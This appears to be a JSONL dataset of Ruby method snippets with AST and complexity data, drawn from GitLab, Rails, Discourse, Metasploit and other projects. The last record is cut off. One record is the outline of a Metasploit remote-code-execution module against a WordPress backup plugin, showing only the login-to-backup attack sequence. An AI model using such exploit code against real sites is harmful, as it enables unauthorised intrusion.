{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/ignored_columns.rb","start_line":78,"raw_source":"def ce_model_exists?(path)\n        File.exist?(path.gsub(%r{/ee/}, '/'))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ce_model_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/ee/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"2796df73-dd07-4f5a-9637-490fa69b9771"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/cache_buster.rb","start_line":10,"raw_source":"def bust(url)\n    site = Addressable::URI.parse(url).normalized_site\n\n    request_pool.with(site) do |http_client|\n      build_request(url, http_client).perform\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"bust\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"site\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"normalized_site\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_pool\"]},\"with\",{\"type\":\"lvar\",\"children\":[\"site\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http_client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_request\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"http_client\"]}]},\"perform\"]}]}]}]}","id":"82d8b832-f6d0-4803-a3c1-09fb3d175c96"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/update_animated_uploads.rb","start_line":9,"raw_source":"def execute(args)\n      Upload\n        .where(\"extension = 'gif' OR (extension IS NULL AND original_filename LIKE '%.gif')\")\n        .where(animated: nil)\n        .limit(MAX_PROCESSED_GIF_IMAGES)\n        .each do |upload|\n          uri = Discourse.store.path_for(upload) || upload.url\n          upload.animated = FastImage.animated?(uri)\n          upload.save(validate: false)\n          upload.optimized_images.destroy_all if upload.animated\n        end\n\n      nil\n    end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"where\",{\"type\":\"str\",\"children\":[\"extension = 'gif' OR (extension IS NULL AND original_filename LIKE '%.gif')\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"animated\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"MAX_PROCESSED_GIF_IMAGES\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"store\"]},\"path_for\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"animated=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastImage\"]},\"animated?\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"animated\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"optimized_images\"]},\"destroy_all\"]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"3b70d90b-f7d1-4d61-9174-2d5b3b9f6ad3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_db_backup_rce.rb","start_line":98,"raw_source":"def exploit\n    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])\n    fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie\n\n    res = create_exclude_table(cookie)\n    nonce = get_nonce(res)\n    create_backup(cookie, nonce)\n\n    clear_exclude_table(cookie)\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"wordpress_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Unable to log into Wordpress\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"create_exclude_table\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[null,\"get_nonce\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_backup\",{\"type\":\"lvar\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]}]},{\"type\":\"send\",\"children\":[null,\"clear_exclude_table\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]}","id":"61bdf9dd-607c-4149-8293-ba13aa69f81c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/cloud_connector/service_access_token.rb","start_line":21,"raw_source":"def expired?\n      expires_at.past?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expired?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_at\"]},\"past?\"]}]}","id":"fb3ea97a-bd63-43aa-a67a-4fae4e18b286"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy/query_methods.rb","start_line":48,"raw_source":"def group_prop(*props)\n        # like with group\n        props.flatten!\n\n        relation = all\n        adapter_name = respond_to?(:connection_db_config) ? connection_db_config.adapter.to_s : \"mongoid\"\n        case adapter_name\n        when \"mongoid\"\n          raise \"Adapter not supported: #{adapter_name}\"\n        when /mysql|trilogy/i\n          props.each do |prop|\n            quoted_prop = connection_pool.with_connection { |c| c.quote(\"$.#{prop}\") }\n            relation = relation.group(\"JSON_UNQUOTE(JSON_EXTRACT(properties, #{quoted_prop}))\")\n          end\n        when /postg/i\n          # convert to jsonb to fix\n          # could not identify an equality operator for type json\n          # and for text columns\n          column_type = columns_hash[\"properties\"].type\n          cast = [:jsonb, :hstore].include?(column_type) ? \"\" : \"::jsonb\"\n\n          props.each do |prop|\n            quoted_prop = connection_pool.with_connection { |c| c.quote(prop) }\n            relation = relation.group(\"properties#{cast} -> #{quoted_prop}\")\n          end\n        when /sqlite/i\n          props.each do |prop|\n            quoted_prop = connection_pool.with_connection { |c| c.quote(\"$.#{prop}\") }\n            relation = relation.group(\"JSON_EXTRACT(properties, #{quoted_prop})\")\n          end\n        else\n          raise \"Adapter not supported: #{adapter_name}\"\n        end\n        relation\n      end","complexity_score":64.1,"ast_json":"{\"type\":\"def\",\"children\":[\"group_prop\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"props\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"props\"]},\"flatten!\"]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"all\"]}]},{\"type\":\"lvasgn\",\"children\":[\"adapter_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"connection_db_config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_db_config\"]},\"adapter\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"mongoid\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"mongoid\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adapter not supported: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_name\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql|trilogy\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"props\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_prop\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"quote\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"group\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSON_UNQUOTE(JSON_EXTRACT(properties, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_prop\"]}]},{\"type\":\"str\",\"children\":[\"))\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"postg\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cast\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"jsonb\"]},{\"type\":\"sym\",\"children\":[\"hstore\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"column_type\"]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"::jsonb\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"props\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_prop\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"prop\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"group\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"properties\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cast\"]}]},{\"type\":\"str\",\"children\":[\" -> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_prop\"]}]}]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sqlite\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"props\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_prop\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"quote\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"group\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSON_EXTRACT(properties, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_prop\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adapter not supported: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_name\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}","id":"a58a2585-5975-401d-bf29-9aef01f8b84e"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/connection/test_case_test.rb","start_line":79,"raw_source":"def connect\n    self.current_user_id = verify_user\n    self.token = request.headers[\"X-API-TOKEN\"]\n    logger.add_tags(\"ActionCable\")\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_user_id=\",{\"type\":\"send\",\"children\":[null,\"verify_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-API-TOKEN\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"add_tags\",{\"type\":\"str\",\"children\":[\"ActionCable\"]}]}]}]}","id":"78b4e671-65a9-4aba-aa05-3f874ecf3551"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_select_vulnerability.rb","start_line":10,"raw_source":"def run_check\n\n    if lts_version? \"2.3.18.7\"\n      return\n    elsif version_between? \"3.0.0\", \"3.0.11\"\n      suggested_version = \"3.0.12\"\n    elsif version_between? \"3.1.0\", \"3.1.3\"\n      suggested_version = \"3.1.4\"\n    elsif version_between? \"3.2.0\", \"3.2.1\"\n      suggested_version = \"3.2.2\"\n    elsif version_between? \"2.0.0\", \"2.3.14\"\n      suggested_version = \"3 or use options_for_select\"\n    else\n      return\n    end\n\n    @message = msg(\"Upgrade to \", msg_version(suggested_version), \". In \", msg_version(rails_version), \" \", msg_code(\"select\"), \" helper is vulnerable\")\n\n    calls = tracker.find_call(:target => nil, :method => :select).select do |result|\n      result[:location][:type] == :template\n    end\n\n    calls.each do |result|\n      process_result result\n    end\n  end","complexity_score":37.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lts_version?\",{\"type\":\"str\",\"children\":[\"2.3.18.7\"]}]},{\"type\":\"return\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.11\"]}]},{\"type\":\"lvasgn\",\"children\":[\"suggested_version\",{\"type\":\"str\",\"children\":[\"3.0.12\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.3\"]}]},{\"type\":\"lvasgn\",\"children\":[\"suggested_version\",{\"type\":\"str\",\"children\":[\"3.1.4\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"suggested_version\",{\"type\":\"str\",\"children\":[\"3.2.2\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.14\"]}]},{\"type\":\"lvasgn\",\"children\":[\"suggested_version\",{\"type\":\"str\",\"children\":[\"3 or use options_for_select\"]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Upgrade to \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"lvar\",\"children\":[\"suggested_version\"]}]},{\"type\":\"str\",\"children\":[\". In \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"send\",\"children\":[null,\"rails_version\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"select\"]}]},{\"type\":\"str\",\"children\":[\" helper is vulnerable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calls\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"select\"]}]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"template\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"4e58f114-ba1d-4dbf-9e8b-c2b64cf7508c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_partitioned_uploads_spec.rb","start_line":508,"raw_source":"def create_dependency_list_export\n    group = create_namespace\n    dependency_list_exports.create!(group_id: group.id)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_dependency_list_export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"create_namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dependency_list_exports\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]}]}]}","id":"6ae5a7fd-dc84-4e20-830d-ffc71d5890e6"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_sendfile.rb","start_line":21,"raw_source":"def simple_app(body = sendfile_body)\n    lambda { |env| [200, { 'content-type' => 'text/plain' }, body] }\n  end","complexity_score":4.28,"ast_json":"{\"type\":\"def\",\"children\":[\"simple_app\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"sendfile_body\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content-type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"cc58c3c0-1bd9-4688-87ce-34ca14da3930"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":988,"raw_source":"def self.owner_of(groups, user)\n    self.member_of(groups, user).where(\"gu.owner\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"owner_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"member_of\",{\"type\":\"lvar\",\"children\":[\"groups\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"gu.owner\"]}]}]}","id":"ea5db7df-c196-4135-ba9a-315de311a456"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql.rb","start_line":48,"raw_source":"def new(*args)\n      my = self.init\n      my.connect(*args)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"my\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"init\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my\"]},\"connect\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"17cf1144-9975-4164-9977-642a95428a60"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/ap_rep.rb","start_line":126,"raw_source":"def decode_pvno(input)\n            input.value[0].value.to_i\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_pvno\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]},\"to_i\"]}]}","id":"1d1966d6-f85b-419c-ad6a-fccd440f838b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/sketch_fab_onebox.rb","start_line":17,"raw_source":"def to_html\n        og = get_opengraph\n        src = og.video_url.gsub(\"autostart=1\", \"\")\n\n        <<-HTML\n          <iframe\n            src=\"#{src}\"\n            width=\"#{og.video_width}\"\n            height=\"#{og.video_height}\"\n            scrolling=\"no\"\n            frameborder=\"0\"\n            allowfullscreen\n          ></iframe>\n        HTML\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"og\",{\"type\":\"send\",\"children\":[null,\"get_opengraph\"]}]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"video_url\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"autostart=1\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          <iframe\\n\"]},{\"type\":\"str\",\"children\":[\"            src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            width=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"video_width\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            height=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"video_height\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            scrolling=\\\"no\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            frameborder=\\\"0\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            allowfullscreen\\n\"]},{\"type\":\"str\",\"children\":[\"          ></iframe>\\n\"]}]}]}]}","id":"0e8c925f-fb08-44ea-9141-37d2bfc62075"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":643,"raw_source":"def migrate(x)\n          add_column \"people\", \"last_name\", :string\n          raise \"Something broke\"\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"str\",\"children\":[\"people\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Something broke\"]}]}]}]}","id":"d2a1445a-eb37-4dfd-bc2a-5b6b7d29f92e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/update_rule_service.rb","start_line":14,"raw_source":"def initialize(container_registry_protection_rule, current_user:, params:)\n        if container_registry_protection_rule.blank? || current_user.blank?\n          raise ArgumentError,\n            'container_registry_protection_rule and current_user must be set'\n        end\n\n        @container_registry_protection_rule = container_registry_protection_rule\n        @current_user = current_user\n        @params = params || {}\n      